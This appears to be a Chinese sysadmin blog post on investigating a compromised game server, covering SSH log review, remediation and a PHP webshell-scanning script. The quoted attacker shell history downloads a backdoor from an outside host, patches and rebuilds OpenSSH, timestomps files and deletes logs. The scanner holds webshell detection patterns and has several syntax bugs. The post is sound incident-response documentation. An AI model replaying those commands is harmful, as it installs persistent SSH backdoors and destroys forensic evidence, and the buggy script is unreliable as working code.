昨天发现服务器上面很多程序被挂马了,跟开发一起处理了挂马文件,今早发现游戏后台又打不开了,上服务器发现后台程序的入口文件都被删了,恢复了index.php、admin.php后才能正常访问,晚上谁也没上过服务器,可以判定服务器已经被入侵了,开始排查:

1.首先查看安全日志,指定命令如下:

1
more /var/log/secure |grep Accepted

通过对命令输出的查看,下面几条记录令人怀疑:

1
2
3
Jul 28 05:32:17 localhost sshd[21684]: Accepted password for root from 103.231.104.70 port 3551 ssh2
Jul 28 05:37:52 localhost sshd[22754]: Accepted password for root from 103.231.104.70 port 3602 ssh2
Jul 28 05:44:40 localhost sshd[23396]: Accepted password for root from 103.231.104.70 port 3650 ssh2

这条记录显示5点32分通过root账户从103.231.104.70这个ip成功的登录了系统,103.231.104.70这个ip,经过查询发现是香港特别行政区的一个地址,应该是台代理的机器

2.开始查看系统日志message和wtmp日志,并没有发现什么问题

3.开始查看历史命令,发现了问题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
  387  cp -p /etc/ssh/sshd_config{,.bak}
  388  wget www.k2a.cn/Tools/open.tar.gz
  406  cd /etc/ssh/
  407  ls
  408  wget www.k2a.cn/Tools/patch.tar.gz
  409  ls
  410  tar -zxvf open.tar.gz
  411  tar -zxvf patch.tar.gz
  412  cd openssh-5.9p1.patch/
  413  cp sshbd5.9p1.diff ../openssh-5.9p1
  414  cd ../openssh-5.9p1
  415  patch < sshbd5.9p1.diff
  416  vim includes.h
  417  ssh -V
  418  vim includes.h
  419  vi version.h 
  420  ssh -V
  421  vi version.h 
  422  ./configure --prefix=/usr/ --sysconfdir=/etc/ssh/ --with-pam --with-kerberos5
  423  make
  424  make install
  425  id
  426  touch -r sshd_config.bak ssh_config
  427  cd ..
  428  touch -r sshd_config.bak ssh_config
  429  service sshd reload
  430  ls
  431  rm -rf *.tar.gz
  432  rm -rf open*
  433  rm -rf *.bak
  437  cd /var/log/
  439  rm -rf wtmp
  440  rm -rf *log
  442  cd /etc/scl/prefixes/
  448  rm -rf *

通过上面的历史记录可以发现攻击者在服务器上安装了ssh后门,关于ssh后门的文章我也查询了几篇,感兴趣的朋友可以看看:

http://www.freebuf.com/tools/10474.html

http://redkey.blog.51cto.com/335290/1345091

按照上面文章中说的,攻击者已经修改了ssh的版本,用ssh -V查看仍是以前版本,目前紧急处理的方案:

  1. 重装openssh软件,更新至最新版本

  2. 更换ssh默认端口

  3. 在iptable中添加ssh访问策略

在重装openssh新版本的时候,make && make install报错如下:

cannot remove `/usr/bin/ssh': Operation not permitted

使用lsattr查看发现ssh添加了uSia的属性,用chattr将这些属性全部去除后,在重新安装正常!

安装完后可使用ssh -V再次查看版本是否正确

开发同事也帮忙查找代码中的木马,使用脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/bin/bash
#re=$(find -name "*.php" |xargs grep -l "common")
 
if [ ! -d "$myPath"]; then
        mkdir /tmp/safelog
fi
 
function checksafe()
{
   path="/home/web/$1"
   cd $path
   #re=$(find -name "*.php" |xargs egrep "phpspy|c99sh|milw0rm|eval\(gunerpress|eval\(base64_decoolcode|spider_bc")
   re=$(find -name "*.php" |xargs egrep "phpspy|c99sh|milw0rm|eval\(gunerpress|eval\(base64_decoolcode|spider_bc|eval\(\\$\_POST\[|assert\(\\$\_POST\[")
   len=$(expr length "$re")
   if [ $(echo "$len > 0" bc) -eq 1 ]; then
                  echo "$re" /opt/safelog/$1_$(date +%Y%m%d).txt
         #echo "$re" > $path/cache/safelog/$(date +%Y%m%d).txt
   fi
   modifytime $i
}
 
function modifytime()
{
    re=$(find -mtime -1 -type f -name \*.php)
    len=$(expr length "$re")
    if [ $len -gt 0 ]; then
            echo "$re" /opt/safelog/$1_mf_$(date +%Y%m%d).txt
       #echo "$re" > $path/cache/safelog/mf_$(date +%Y%m%d).txt
    fi
}
 
ls=$(cd /home/web;ls)
 
for in $ls
do
  echo "$i"
  checksafe $i
done

最新文章

  1. 没有水果机的也来体验下Visual Studio for Mac
  2. C#转义字符(Z)
  3. 4G基站如何查询
  4. funny_python 01 import antigravity
  5. HTML5气泡悬浮框(已经加上完整文件)
  6. js技术发展
  7. 重新认识unicode和utf8编码
  8. [PCL]1 PCL点云库安装
  9. session的方法
  10. ps图层混合模式
  11. iOS开发--调试必备 — NSLog
  12. PHP生成HTML页面顶部出现空白部分(&amp;#65279字符?)
  13. ###Maintainable C++
  14. dynamic和object浅谈
  15. 使用VS2012主题插件创建自己的主题
  16. kernel笔记——内核编译与进程管理
  17. 基于fpga的vga学习(2)
  18. TCP 三次握手与四次断开
  19. GIT 工作区和暂存区
  20. [转][C#][WebApi]

热门文章

  1. [Python]xlrd 读取excel 日期类型2种方式
  2. C#抓取网面上的html内容(JS动态生成的无法抓取)
  3. H2 database 操作操作内存表
  4. EasyRTMP Android安卓手机直播推流摄像头偏暗的问题解决
  5. 各种jar包下方法的使用
  6. 九度OJ 1163:素数 (素数)
  7. 九度OJ 1077:最大序列和 (DP)
  8. 早一天把生意做到de
  9. json (js对象标记)
  10. mooc课程mit 6.00.1x--problem set2解决方法